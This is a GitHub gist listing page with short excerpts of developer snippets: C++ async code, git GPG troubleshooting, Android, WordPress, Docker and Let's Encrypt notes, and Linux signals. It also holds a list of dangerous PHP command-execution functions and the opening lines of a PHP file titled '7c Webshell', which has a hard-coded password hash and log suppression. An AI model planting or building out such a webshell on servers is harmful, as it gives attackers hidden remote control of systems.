Skip to content

Instantly share code, notes, and snippets.

View Cvar1984's full-sized avatar
⚠️
This account is under NSA investigation

Bellatrix Lugosi Cvar1984

⚠️
This account is under NSA investigation
View GitHub Profile
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCZBvzPGCDLur81+X7K/DyvTb9UIHRiSSVrDX7m0sox9aK60SkWKItbGhsdTJcssUhf02KuMmZAAh9ZQ48SCSUNM7sZUzm0wt0EkOdvple7wPW6Linagx0V6MoU5/xkk62+XzVn8OMJpf0YoJyN5WRHe6iMo2wQZe9AnfZLqO+jd73iD3BPrHfCnkoCQ6pl4lgeBBHZaYKsxBU8W3beHTS3zpyleiqp0bSn3k4iYklB6dHLNSgmOICisCx0LO8sv1F2f+2TQYsLO5zBqNEiN8RFX69Ha/Ptjwq/DcF0hZhabV8oIMC7UNHRzdEJLN6jOL12nLE5UNzsw7tRCs+HQIZoEMFWj4Urn5Aiy0SSUAMGW/vKKFOaK9jrd4yvD1bTuKuh5nAgi1MsFmmxzj7jHLkOIl1kJZKTbb8hIxPcc9mgL9KGNiVZlxEHmKyZvGkpnpuGnRE2+6Xw6dc3HTuPQ0Bvp+R6Vs9Ojw1qUd8WNb4fv6bD/DgsR9E90vufWQGfl33t8i/8LRKXYMOj/3aux1up0hhjeOu7DRp2koTjj1MqBu5nt64g2mdutjKOXhSbvQgWTJVG0qWbnOAT4dNnGUGxfL1REpi/D2J2bmsnAjeOHxSrPpMIfN2bFgJKZLVnIOrwl/BIo3DLYnbB28vVedgdumMinnpQgtLTc3LIwfGLiQ== cvar1984@cvar1984.my.id
@Cvar1984
Cvar1984 / async-parallel.cpp
Last active February 19, 2023 11:29
std::async
/**
* async multi threading with c++
* flag : -pthread -std=c++0x
*/
#include <iostream> // std::cout
#include <unistd.h> // sleep();
#include <future> // std::async
class MyClass {
@paolocarrasco
paolocarrasco / README.md
Last active May 3, 2024 15:20
How to understand the `gpg failed to sign the data` problem in git

Problem

You have installed GPG, then tried to commit and suddenly you see this error message after it:

error: gpg failed to sign the data
fatal: failed to write commit object

Debug

@mccabe615
mccabe615 / phpdangerousfuncs.md
Last active April 21, 2024 17:04
Dangerous PHP Functions

Command Execution

exec           - Returns last line of commands output
passthru       - Passes commands output directly to the browser
system         - Passes commands output directly to the browser and returns last line
shell_exec     - Returns commands output
\`\` (backticks) - Same as shell_exec()
popen          - Opens read or write pipe to process of a command
proc_open      - Similar to popen() but greater degree of control
pcntl_exec - Executes a program
@Cvar1984
Cvar1984 / 7c.php
Created April 25, 2018 18:59
7c Webshell
<?php
$auth_pass="d448da3672ffd8eb081f4687a20ebe21"; // Default Pass : 7c
session_start();
error_reporting(0);
set_time_limit(0);
@clearstatcache();
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
@dianjuar
dianjuar / android_on_arch.md
Created April 10, 2017 03:22
install android SDK on arch linix

Install Android SDK on Arch Linux

1. Download Android SDK on your computer

yaourt android-sdk-platform-tools
yaourt android-udev
yaourt android-sdk

2. Create global variables on system

@octalmage
octalmage / roles.md
Last active May 14, 2023 17:43
Default WordPress user roles and capabilities.

WordPress v4.3.1

Admin wp_capabilities wp_user_level 10

a:1:{s:13:"administrator";b:1;}

Contributor wp_capabilities wp_user_level 1

@petruisfan
petruisfan / docker
Last active February 16, 2023 06:46
Docker init.d daemon script
#!/usr/bin/env bash
###############
# SysV Init Information
# description: docker daemon.
### BEGIN INIT INFO
# Provides: me
# Required-Start:
# Required-Stop:
# Default-Start: 2 3 5
@janikvonrotz
janikvonrotz / Install Lets Encrypt and create a free SSL certificate.md
Last active August 29, 2023 10:05
Install Let's Encrypt and create a free SSL certificate #OpenSSL #Markdown

Introduction

Let’s Encrypt is a free, automated, and open certificate authority (CA), run for the public’s benefit. Let’s Encrypt is a service provided by the Internet Security Research Group (ISRG). This guide shows you how you can obtain a free SSL certificate.

Requirements

@synther
synther / gist:d376100a8bae896d0caf
Last active January 10, 2022 21:39
linux signals cheat sheet
Signal Value Action Comment
SIGHUP 1 Term Hangup detected on controlling terminal or death of controlling process
SIGINT 2 Term Interrupt from keyboard
SIGQUIT 3 Core Quit from keyboard
SIGILL 4 Core Illegal Instruction
SIGABRT 6 Core Abort signal from abort(3)
SIGFPE 8 Core Floating point exception
SIGKILL 9 Term Kill signal
SIGSEGV 11 Core Invalid memory reference
SIGPIPE 13 Term Broken pipe: write to pipe with no readers